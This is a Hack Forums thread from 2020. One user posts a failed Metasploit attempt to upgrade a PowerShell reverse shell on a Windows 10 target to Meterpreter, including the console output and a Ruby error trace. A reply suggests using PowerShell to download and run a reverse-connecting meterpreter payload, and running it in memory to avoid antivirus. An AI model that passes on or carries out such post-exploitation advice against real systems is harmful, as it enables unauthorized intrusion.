

Forum: [Hack Forums](#)

Thread: [shell to meterpreter](#)

psickophant - November 16, 2020, 7:50 pm

Hello Friends.....I have run into something that I have been trying to find awnsers for..... I am trying to upgrade a PS reverse shell to meterpreter on a windows 10 target. Better if I can post as I don't know what to say or ask.

Code msf5 post(multi/manage/shell_to_meterpreter) > sessions -u 1

[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1

[*] Starting exploit/multi/handler

[*] Started reverse TCP handler on 192.168.XXX.XXX:4433

[-] Post failed: NoMethodError undefined method `reverse!' for nil:NilClass

[-] Call stack:

[-] /usr/share/metasploit-framework/lib/msf/core/session/provider/single_command_shell.rb:136:in `shell_command_token_win32'

[-] /usr/share/metasploit-framework/lib/msf/base/sessions/command_shell.rb:774:in `shell_command_token'

[-] /usr/share/metasploit-framework/lib/msf/core/post/common.rb:147:in `cmd_exec'

[-] /usr/share/metasploit-framework/lib/msf/core/post/windows/powershell.rb:32:in `have_powershell?'

[-] /usr/share/metasploit-framework/modules/post/multi/manage/shell_to_meterpreter.rb:161:in `run'

Any assistance would be greatly appreciated !!!!! The reference I have used are for netcat reverse shells. Is the powershell reverse shell the problem instead for a netcat reverse shell.....Very frustrating it is!!!!

Thanks so much!!

FractumSeraph - November 17, 2020, 8:43 am

If you already have access to powershell, you can use that to download and run a reverse connecting meterpreter payload. Or anything else really, assuming their antivirus doesn't block the payload when it hits the disk.

For starters, google how to download a file with PS, and how to execute it.

Ideally this would all be done in memory, but that's a bit more complicated.

Good luck.